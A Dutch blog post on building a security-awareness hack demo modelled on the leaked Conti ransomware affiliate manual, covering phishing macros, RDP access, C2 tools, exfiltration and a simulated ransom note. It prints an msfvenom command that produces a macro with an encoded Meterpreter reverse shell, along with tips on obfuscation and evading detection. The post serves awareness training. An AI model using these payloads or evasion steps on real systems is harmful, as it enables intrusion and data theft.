See it to believe it: zo simuleer je een realistische aanval tijdens een hackdemo

tldr; In deze post worden relevante onderdelen uit de handleiding voor Conti-affiliates omgezet naar onderdelen die je kunt gebruiken voor een hackdemo. Op die manier krijgt het publiek op een interactieve manier meer te zien van de werkwijze waarop criminele ransomwareorganisaties te werk gaan. Verschillende tools, te vinden in deze GitHub repository helpen bij het opzetten van een realistisch uitziende demo.

”..en als ik dan naar het bureaublad ga en de bestanden nader inspecteer, zie je dat ze allemaal een andere extensie hebben gekregen en er een readme.txt is aangemaakt met betaalinstructies” - een quote die ongeveer iedere maand terugkomt om medewerkers of kijkers te laten zien hoe nou eigenlijk zo’n digitale aanval in elkaar zit. Want daar is een hackdemo de uitgelezen kans voor.

Een hackdemo? In een hackdemo laat een ethisch hacker of security specialist visueel zien hoe (een deel van) een relevante of realistische digitale aanval in zijn werk gaat. Een slachtoffer-omgeving (bijvoorbeeld Windows 10) wordt digitaal aangevallen door een aanvaller-omgeving (bijvoorbeeld Kali Linux of Ubuntu) door het misbruiken van een actuele kwetsbaarheid, een configuratiefout, een zwak wachtwoord (zoals in RDP) of een phishingmail. Hierdoor krijgen medewerkers meer feeling met het onderwerp en wordt het belang van veilig gebruik nog eens versterkt. Dat is ontzettend leerzaam en haalt hopelijk ook een stukje “mysterie” rondom hacken weg. Hackers zitten niet altijd op donkere zolderkamers met een zwarte hoodie, bijl of bivakmuts (ja echt, zoek maar op “hacker” bij Google Afbeeldingen).

Mensen hebben verschillende leerstijlen: waar de ene medewerker ontzettend goed gaat op een e-learning (.. denk ik), heeft de ander toch de voorkeur om visueel meegenomen te worden in het te leren onderwerp. De visuele leerstijl kan in verschillende vormen komen naast hackdemo’s, zoals met infographics of video’s. En natuurlijk blijkt ook uit onderzoek dat het aanbieden van security awareness dat aansluit bij de leerstijl van de ontvanger een stuk effectiever is1: al helemaal als de hackdemo daarnaast ook goed aansluit op de belevingswereld van een ontvanger, een relevante casus omschrijft én in gaat op een actueel thema. Vertellen dat een pagina geen slotje heeft en daardoor kwaadaardig is of het gebruik van Windows XP in een demo sluit natuurlijk niet aan bij het huidige dreigingslandschap en kan bovendien medewerkers onnodig bang maken, of juist wat achterdochtig. Maar hoe bouw je dan een hackdemo - live of vooraf opgenomen - die wel aan alle drie de tickboxes voldoet?

Casus: het simuleren van een groep achter Conti-ransomware

In deze post wordt stap voor stap een demo opgebouwd die gebruik maakt van een openbare beschrijving van een aanvalsscenario. Een tijd terug is de handleiding gelekt waarin wordt beschreven hoe een aanval met Conti-ransomware uitgevoerd dient te worden door een affiliate2, genaamd Conti-leaks. Dit heeft ethisch hackers en security specialisten nuttige inzichten gegeven in het aanvalsscenario dat een kwaadaardige en criminele groep gebruikt, welke natuurlijk ook goed verwerkt kan worden in een hackdemo. Realistischer kun je het bijna niet maken. Ransomware is namelijk nog steeds één van de grootste digitale dreigingen is voor organisaties3 en door het gebruiken van beschreven stappen uit die handleiding kom je erg dicht bij de werkwijze van deze criminelen.

Het verkrijgen van toegang: een phishingmail of RDP

Zoals eerder beschreven zijn er verschillende manieren om toegang te krijgen tot het systeem van het slachtoffer. Er kan (expres) een kwetsbaarheid ingebouwd zijn (of meerdere), door bijvoorbeeld oudere software te installeren of een ouder besturingssysteem te gebruiken. Ook kun je met wachtwoorden veel doen: zet Remote Desktop Protocol open met een eenvoudig wachtwoord of wijzig het systeemwachtwoord naar iets wat gemakkelijk te raden is. Zet dit wachtwoord daarna bijvoorbeeld in een bestand in een gedeelde map en check: je kunt je door het netwerk bewegen. Dit laatste spreekt misschien niet direct iedereen aan, het ligt aan het publiek dat naar de hackdemo kijkt. Vooral de laatste opties zijn lastiger visueel in beeld te brengen en zijn enkel dagelijkse kost voor IT-beheerders. Wat maakt andere deelnemers uit dat een aanvaller kan overspringen omdat jij weer Zomer2022 als wachtwoord hebt gekozen op je lokale systeem? Een hacker is toch de organisatie al binnen? Ja en nee natuurlijk - dat weten we als security specialisten heel goed. Maar een phishingmail als manier van intial access gebruiken gaat (bijna) iedereen wat aan en je kunt er flink wat aanbevelingen in kwijt.

Voor emailfunctionaliteit kun je een setup maken met een mailserver (of externe legitieme mailservice) waarmee de aanvaller een email kan sturen naar het slachtoffer. De meerwaarde hiervan valt te betwisten: het gaat er vooral om dat er een phishingmail op het systeem van het slachtoffer staat waarin om een actie wordt gevraagd. Dit kan vragen om inloggegevens voor een website zijn, maar een manier waarop je direct compromittatie kunt bereiken is een logischere eerste stap. Door een email te sturen met daarin een weaponized Word-document als bijlage, volg je de stappen uit de handleiding. Bij een echte hackoperatie met Conti wordt gebruik gemaakt van loaders in dat document zoals TrickBot, BazarLoader of BumbleBee. Voor een hackdemopubliek natuurlijk niet interessant om hiervan de macro of code te zien, maar wel hoe het document eruit ziet. Binnen de create-email-map op de GitHub staat een voorbeeld van een email én een Word-document die realistisch is voor affiliates die gebruik maken van deze ransomware. Ze zijn vrij simpel: in een email wordt vaak met “Please see attachment” verwezen naar het document, in het document wordt het slachtoffer verleid te klikken op Enable macros door gebruik van een afbeelding waarin wordt vermeld dat het document in een eerdere versie van Office is aangemaakt. De tool haalt de emailtekst uit body.txt, voegt de bijlagen uit de map attachments toe en stelt een zender en ontvanger in. Open dit bestand met Outlook op het systeem van het slachtoffer en gebruik dit als beginpunt van je demo. Op de afbeeldingen hieronder is een korte demo te zien:

Maken van een email
Resultaat van de email

Een andere manier voor het verkrijgen van toegang die binnen de Cont-leaks wordt aangeduid als de ideale manier van voet zetten in het netwerk, is het gebruik van het Remote Desktop Protocol met een zwak of gelekt wachtwoord of een VPN-service die beschikbaar is vanaf het internet. Door in het slachtoffer-systeem deze service in te schakelen met het zwakke wachtwoord en dit wachtwoord bijvoorbeeld op Pastebin te zetten of het wachtwoord te bruteforcen met tools als crowbar bereik je ditzelfde effect tijdens een demo, al is dit meer geschikt voor IT-beheerders.

Open source tools voor C2

Nadat het slachtoffer de email heeft ontvangen en op de bijlage dubbelklikt (en bijvoorbeeld macro’s uitvoert), je digitale wapen, dient er natuurlijk iets te gebeuren waardoor je via het aanvaller-systeem naar binnen kunt op het slachtoffer-systeem. Dit kan door middel van het opzetten van een reverse TCP-verbinding in een gegenereerde implant of bijvoorbeeld door VBA-code die je kunt genereren met de tool msfvenom door het commando msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -e x86/shikata_ga_nai -f vba-psh > macro.txt te gebruiken.

Kans op detectie is groot en natuurlijk zul je zoiets niet tijdens een red teaming-opdracht gebruiken, maar tijdens een demo kun je ervoor kiezen deze actie toe te staan of detectie uit te schakelen. Een andere optie is om een tool als Chimera te gebruiken om het PowerShell-commando uit je macro te obfuscaten. Knutselwerk met PowerShell-scriptjes kan bespaard worden door een tool te kiezen die een implant genereert die bij uitvoeren een sessie op zet naar je aanvaller-systeem. Op C2 Matrix staan verschillende C2-tools genoemd die je kunt gebruiken voor een demo. Uiteraard: in de Conti-handleiding staat dat Cobalt Strike wordt gebruikt voor C2-functionaliteiten wanneer het om een echte hackoperatie gaat. Dit kost echter flink wat tijd om goed op te zetten en is voor een hackdemo misschien ook wel wat veel van het goede. Een goede vervanger kan worden gevonden op bovenstaande pagina. Metasploit, Sliver of Merlin zijn goede command-line opties om Cobalt Strike te vervangen en hebben ingebouwd functies om een implant te genereren, Covenant heeft een web GUI waardoor het visueel nog makkelijker over te brengen is en ach.. Armitage is zojuist weer geëpdatet om ook op de nieuwere versies van Kali Linux te draaien. Voor security specialisten heeft Armitage een hoog scriptkiddie-gehalte, toch zal het beeld van rode computersystemen met bliksemschichten nog lang herinnerd worden door kijkers van je demo (en het wordt nog gebruikt ook volgens de handleiding!).

Acties op je zojuist gehackte systeem

Wanneer toegang is verkregen tot het systeem van het slachtoffer zijn er verschillende acties die kunnen worden uitgevoerd door de aanvaller. Kijkend naar de Conti-handleiding zijn er ook wel een aantal acties uit te halen die goed in een demo passen, afhankelijk van de setup van de systemen van het slachtoffer en de aanvaller. In principe bestaat de basis uit twee systemen en zullen de acties waarbij je je gaat bewegen door het netwerk niet toepasbaar zijn op enkel deze systemen. Het toevoegen van een server en Domain Controller zou hiervoor een mogelijkheid kunnen zijn, echter is het maar de vraag of het voor een demo niet onnodig complex wordt gemaakt. Natuurlijk ligt dit ook aan het publiek: voor systeembeheerders is het bijvoorbeeld erg nuttig om te laten zien wat het gevaar is van inloggen met een Domain Administrator-account op een niet-Domain Controller (waardoor hashes gedumpt zouden kunnen worden). Voor een gemiddelde kijker volstaat het aanvallen van een enkel werkstation ook prima. Binnen de Conti-handleiding zijn de volgende acties goed te gebruiken tijdens je demo:

  • Na toegang tot het systeem wordt gezocht naar informatie over het systeem en netwerk. Commando’s als whoami en systeminfo laten zien welke gebruiker het slachtoffer is met meer informatie over het systeem. Binnen de handleiding wordt ook gebruik gemaakt van Windows Exploit Suggester voor het identificeren van kwetsbaarheden op het systeem.
  • Het inloggen op een applicatie of website die draait op het systeem van het slachtoffer. Affiliates wordt verteld dat zij standaardwachtwoorden zoals Password1 of Welcome1 moeten proberen of combinaties van maanden, seizoenen en jaartallen zoals Summer2022.
  • Bestanden worden geëxfiltreerd met rclone.exe naar een cloud-provider, in dit geval Mega. In de demo gaat het hoogstwaarschijnlijk om een kleinere hoeveelheid bestanden, waardoor exact deze stap volgen wat over de top is. Afhankelijk van het post-exploitation framework zijn er verschillende manieren, maar veelal kan met handmatig navigeren tussen mappen op het systeem van het slachtoffer en het download-commando bestanden worden gedownload. Zorg ervoor dat LibreOffice of een andere tekstverwerker geïnstalleerd staat op het aanvaller-systeem om dit bestand na downloaden ook daadwerkelijk te kunnen openen.
  • Het in de gaten houden van wijzigingen aan bestanden met bijvoorbeeld een tool als watchman. Deze tool rapporteert nieuwe bestandswijzigingen, welke bijvoorbeeld kunnen duiden dat iemand actief bezig is met belangrijk werk, zoals nieuwe interne source code of een document.

De volgende acties komen niet in de handleiding voor, maar zijn visueel goed weer te geven:

  • Bekijken waar het slachtoffer mee bezig is door het maken van een screenshot van het slachtoffer-systeem (bijvoorbeeld met commando screenshot of screengrab) of door mee te kijken in een VNC-sessie.
  • Toetsaanslagen van het slachtoffer registreren en sturen naar het aanvaller-systeem zodat onder andere belangrijke wachtwoorden ingezien kunnen worden.

De uiteindelijk klapper: ransomware met leak site

Conti is een ransomware. Niet gek om dus de demo te eindigen met het versleutelen van bestanden. Nu zijn er simulators online te vinden zoals Sansomware, al is het tonen van een rood scherm met groot padlock-icoon niet iets wat je ziet als je besmet bent met de Conti-ransomware. In plaats daarvan worden bestanden versleuteld, krijgen zij extensies zoals .xyzzz of .conti en wordt er daarnaast een readme.txt geplaatst op het bureaublad met daarin betaalinstructies of contactmogelijkheden. Bij een demo hoeven deze bestanden natuurlijk niet écht versleuteld te worden, het wijzigen ervan met een klein PowerShell-script kan ook al volstaan. Met onderstaande drie regels wijzig je de bestandsextensies naar .XYZZZ (vaak gebruikt) en wordt er een readme.txt aangemaakt met All off your files are currently encrypted by CONTI strain. (ja, met typfout) erin.

Get-ChildItem $env:USERPROFILE\Desktop | Rename-Item -NewName {[System.IO.Path]::ChangeExtension($_.Name, ".XYZZZ")}
$FolderPath = [Environment]::GetFolderPath("Desktop")
Set-Content $FolderPath\readme.txt "All off your files are currently encrypted by CONTI strain."

In generate-encryption wordt de volledige file weergegeven en kun je de variabelen aanpassen. Afhankelijk van je post-exploitation framework kun je met dit PowerShell-script direct aan de slag, in andere gevallen kun je deze met ps2exe converteren naar een executable.

Ondertussen is er in eerdere stappen al gevoelige data gestolen van het slachtoffer-systeem. Deze data kan gebruikt worden om het slachtoffer af te persen. In de readme.txt die wordt geplaatst door de criminelen, wordt verwezen naar een leak website. Op deze site wordt de data verkocht aan de hoogste bieder wanneer de organisatie niet betaalt, een reëel scenario waar je als organisatie rekening mee moet houden. Ook in een demo-opzet kan de data die is gestolen te koop worden aangeboden op een leak website. Met leaks-website kun je een simpele Python webapplicatie starten met daarin de gestolen data. De map waarin de gestolen data staat op je lokale systeem kan worden meegegeven, hier wordt het eerste bestand op de site uit geplaatst (maar dit kun je uiteraard ook aanpassen).

Leak website

Het demonstreren van de werking van een leak website is bovendien mooi haakje voor een interessante discussie binnen de organisatie: moet je nou wel of niet betalen in het geval van ransomware? En wat als je data wordt gepubliceerd? Een hackdemo gebruiken om de discussie rondom ransomware op gang te brengen; het doel is bereikt.

Versimpelde versie van de demo tijdens de Masterclass Ransomware